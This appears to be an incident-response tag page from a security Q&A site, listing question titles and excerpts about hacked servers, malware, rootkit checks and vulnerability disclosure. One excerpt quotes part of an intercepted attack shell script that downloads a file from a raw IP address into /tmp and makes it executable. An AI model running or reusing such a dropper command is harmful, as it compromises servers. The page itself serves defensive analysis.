The art of responding to incidents in an organized and thoughtful manner.

learn more… | top users | synonyms (2)

114
votes
2answers
9k views

I found unknown PHP code on my server. How do I de-obfuscate the code?

We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on ...
9
votes
5answers
6k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
19
votes
2answers
783 views

How to handle security issues of someone else's website

A few weeks ago I found that someone has posted admin account details for a certain website on a public wiki by mistake. As I found that data to be real (i.e. I could log into their website run by ...
20
votes
8answers
3k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
15
votes
1answer
2k views

What should be included in a jump bag and how often should it be reviewed?

What items should be included in a jump bag? How often do you review your jump bag?
1
vote
2answers
1k views

glibc getaddrinfo (CVE-2015-7547) vulnerability: should I update glibc if I do not configure DNS?

Recently Googly discover glibc getaddrinfo (CVE-2015-7547) vulnerability: https://googleonlinesecurity.blogspot.co.il/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html We run our application on ...
37
votes
5answers
1k views

How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
27
votes
3answers
3k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
9
votes
7answers
2k views

If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network?

According to Mandiant, you should not: Mistake #1: Immediately entering “remediaton mode” – also known as playing “Whack-A-Mole” ... as described here: http://blog.mandiant.com/archives/1525 ...
5
votes
2answers
334 views

How to evaluate the damage after being hacked [duplicate]

It's well known what measures one should take to prevent hackers from hacking their PC. But are there any steps that allows a user to evaluate the damage done by a hacker? Say that I know for sure ...
14
votes
4answers
445 views

What should I look at in the event of a major vendor suffering compromise with unspecified impact?

The specific example I have in mind here is the breach of RSA in March 2011 where attackers got away with critical information which could be the seed information which is used to generate the ...
9
votes
2answers
187 views

Encouraging security researchers to disclose vulnerabilities

What are approaches to forming solid relationships with security researchers? For example, is publishing a public PGP key on the "contact us" page of a company's website for high levels of risk ...
9
votes
4answers
1k views

Gmail account hack prevention and recovery

I am doing a research on how to prevent my gmail account from being hacked and what are the options of claiming it back. The associated phone number and recovery email can be changed, in fact I ...
8
votes
3answers
2k views

How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
7
votes
1answer
219 views

How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...
6
votes
1answer
122 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
4
votes
2answers
1k views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
4
votes
2answers
724 views

Found some malicious Javascript - how did it get there?

Found some malicious javascript on a Joomla site which we noticed has returned after being deleted a week ago. Also noticed that www.cssstickyfooter.com is infected by the same code. If you're ...
3
votes
4answers
4k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...